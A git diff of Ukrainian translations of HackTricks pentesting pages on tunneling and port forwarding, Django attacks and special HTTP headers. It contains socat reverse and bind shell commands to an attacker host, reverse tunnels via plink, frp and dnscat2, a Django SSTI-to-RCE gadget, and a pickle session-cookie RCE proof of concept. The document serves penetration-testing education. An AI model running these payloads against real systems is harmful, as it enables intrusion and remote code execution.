diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index d81510365..c59fdad65 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -55,7 +55,7 @@ sudo ssh -L 631::631 -N -f -l ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` -### Зворотне перенаправлення портів +### Зворотне Портове Перенаправлення Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста: ```bash @@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **Безпека – Атака Terrapin (CVE-2023-48795)** -> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі. citeturn4search0 +> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі. ## SSHUTTLE Ви можете **тунелювати** через **ssh** весь **трафік** до **підмережі** через хост.\ -Наприклад, перенаправлення всього трафіку, що йде до 10.10.10.0/24 +Наприклад, перенаправляючи весь трафік, що йде до 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_бокс:Порт +Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_комп'ютер:Порт ```bash # Inside a meterpreter session portfwd add -l -p -r @@ -149,18 +149,18 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт +> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` Зверніть увагу: -- Зворотний портовий переадресатор Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**. +- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**. - Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання. -- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресаторів на високих портах. +- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах. -### rPort2Port локальний +### rPort2Port локально > [!WARNING] > У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хоста:порту. @@ -267,7 +267,7 @@ victim> python client.py --server-ip --server-port 9999 --ntl victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` -### Реверс-шелл +### Зворотний шелл ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane @@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh). -Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині: +Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **прослуховувати** на **127.0.0.1:1080**. +Тепер ми можемо **підключитися** до **жертви** через **RDP** за допомогою **`mstsc.exe`**, і ми повинні отримати **підказку**, що **плагін SocksOverRDP увімкнено**, і він буде **слухати** на **127.0.0.1:1080**. **Підключіться** через **RDP** та завантажте і виконайте на машині жертви бінарний файл `SocksOverRDP-Server.exe`: ``` @@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` #### **У PowerShell** -Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell: +Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd @@ -515,12 +515,12 @@ _Також можливо додати аутентифікацію та TLS, ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### Sniffing HTTP calls +#### Перехоплення HTTP викликів _Корисно для XSS, SSRF, SSTI ..._\ Безпосередньо з stdout або в HTTP інтерфейсі [http://127.0.0.1:4040](http://127.0.0.1:4000). -#### Tunneling internal HTTP service +#### Тунелювання внутрішнього HTTP сервісу ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -574,11 +574,11 @@ url: http://127.0.0.1:8000 ```bash cloudflared tunnel run mytunnel ``` -Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями – використовуйте контейнери або прапор `--user`, коли це можливо. citeturn1search0 +Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями – використовуйте контейнери або прапорець `--user`, коли це можливо. ## FRP (Швидкий зворотний проксі) -[`frp`](https://github.com/fatedier/frp) – це активно підтримуваний зворотний проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – додатковий бінарний файл не потрібен. +[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – додатковий бінарний файл не потрібен. ### Класичний зворотний TCP тунель ```bash @@ -599,7 +599,7 @@ localIP = "127.0.0.1" localPort = 3389 remotePort = 5000 ``` -### Використання нового SSH шлюзу (без бінарного frpc) +### Використання нового SSH шлюзу (без frpc бінарного файлу) ```bash # On frps (attacker) sshTunnelGateway.bindPort = 2200 # add to frps.toml @@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml # On victim (OpenSSH client only) ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000 ``` -Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для живого використання ресурсів. citeturn2search1 +Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для живого використання ресурсів. ## Інші інструменти для перевірки diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index a78997e49..b1beeae95 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -9,4 +9,71 @@ Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436 +--- + +## Впровадження шаблонів на стороні сервера (SSTI) +Мова шаблонів Django (DTL) є **тюрінг-повною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повного SSTI → RCE. + +### Виявлення +1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту. +2. Надішліть навантаження на основі часу або арифметики: +```django +{{7*7}} +``` +Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном. + +### Примітив до RCE +Django блокує прямий доступ до `__import__`, але об'єктна графіка Python доступна: +```django +{{''.__class__.mro()[1].__subclasses__()}} +``` +Знайдіть індекс `subprocess.Popen` (≈400–500 в залежності від збірки Python) та виконайте довільні команди: +```django +{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} +``` +Більш безпечний універсальний гаджет - це ітерація до `cls.__name__ == 'Popen'`. + +Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача. + +--- + +## RCE на основі сесійного куки з Pickle +Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* сесійний куки **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду. + +### Вимоги до експлуатації +* Сервер використовує `PickleSerializer`. +* Зловмисник знає / може вгадати `settings.SECRET_KEY` (витоки через GitHub, `.env`, сторінки помилок тощо). + +### Доказ концепції +```python +#!/usr/bin/env python3 +from django.contrib.sessions.serializers import PickleSerializer +from django.core import signing +import os, base64 + +class RCE(object): +def __reduce__(self): +return (os.system, ("id > /tmp/pwned",)) + +mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) +print(f"sessionid={mal}") +``` +Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker. + +**Заходи захисту**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`. + +--- + +## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери +* **CVE-2025-48432** – *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8. + +Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це можливо. + +--- + +## Посилання +* Випуск безпеки Django – "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" – 4 червня 2025 року. +* OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" – 11 серпня 2024 року. + {{#include /banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 3f2485795..f784f40c0 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -57,7 +57,7 @@ **Заголовки кешу сервера**: - **`X-Cache`** у відповіді може мати значення **`miss`**, коли запит не кешувався, і значення **`hit`**, коли він кешується -- Схоже поводження в заголовку **`Cf-Cache-Status`** +- Схоже поводження у заголовку **`Cf-Cache-Status`** - **`Cache-Control`** вказує, чи ресурс кешується, і коли буде наступний раз кешуватися: `Cache-Control: public, max-age=1800` - **`Vary`** часто використовується у відповіді для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключованими. - **`Age`** визначає час у секундах, протягом якого об'єкт перебував у кеші проксі. @@ -76,30 +76,30 @@ ## Умови -- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише якщо заголовок відповіді **`Last-Modified`** містить інший час. +- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише у разі, якщо заголовок відповіді **`Last-Modified`** містить інший час. - Умовні запити, що використовують **`If-Match`** та **`If-None-Match`**, використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися. `Etag` береться з HTTP-відповіді. - Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує, що `Etag` є **Sha1** з **37 байтів**. ## Запити діапазону - **`Accept-Ranges`**: Вказує, чи підтримує сервер запити діапазону, і якщо так, в якій одиниці може бути виражений діапазон. `Accept-Ranges: ` -- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте про видалення заголовка `Accept-Encoding` з запиту. -- Це може бути корисно для отримання відповіді з довільним відображеним JavaScript-кодом, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит. -- **`If-Range`**: Створює умовний запит діапазону, який виконується лише якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу. +- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте, щоб видалити заголовок `Accept-Encoding` з запиту. +- Це може бути корисно для отримання відповіді з довільним відображеним кодом javascript, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит. +- **`If-Range`**: Створює умовний запит діапазону, який виконується лише у разі, якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу. - **`Content-Range`**: Вказує, де в повному тілі повідомлення належить часткове повідомлення. ## Інформація про тіло повідомлення -- **`Content-Length`:** Розмір ресурсу в десяткових байтах. +- **`Content-Length`:** Розмір ресурсу, у десятковому числі байтів. - **`Content-Type`**: Вказує медіа-тип ресурсу - **`Content-Encoding`**: Використовується для вказівки алгоритму стиснення. -- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переважної мови. -- **`Content-Location`**: Вказує альтернативне місце для повернених даних. +- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переваги мови. +- **`Content-Location`**: Вказує альтернативне місцезнаходження для повернених даних. -З точки зору пентесту ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\ +З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\ Наприклад, комбінація **`Range`** та **`Etag`** у запиті HEAD може витікати вміст сторінки через запити HEAD: -- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`, витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` +- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ## Інформація про сервер @@ -109,7 +109,7 @@ ## Контролі - **`Allow`**: Цей заголовок використовується для спілкування HTTP-методів, які ресурс може обробляти. Наприклад, він може бути вказаний як `Allow: GET, POST, HEAD`, що вказує, що ресурс підтримує ці методи. -- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати для успішної обробки запиту. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, чекаючи підтвердження від сервера. +- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати, щоб запит був успішно оброблений. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, чекаючи підтвердження від сервера. ## Завантаження @@ -148,13 +148,13 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -Цей заголовок запобігає визначенню типу MIME, практика, яка може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером. +Цей заголовок запобігає визначенню типу MIME, що може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером. ``` X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Щоб боротися з clickjacking, цей заголовок обмежує, як документи можуть бути вбудовані в ``, `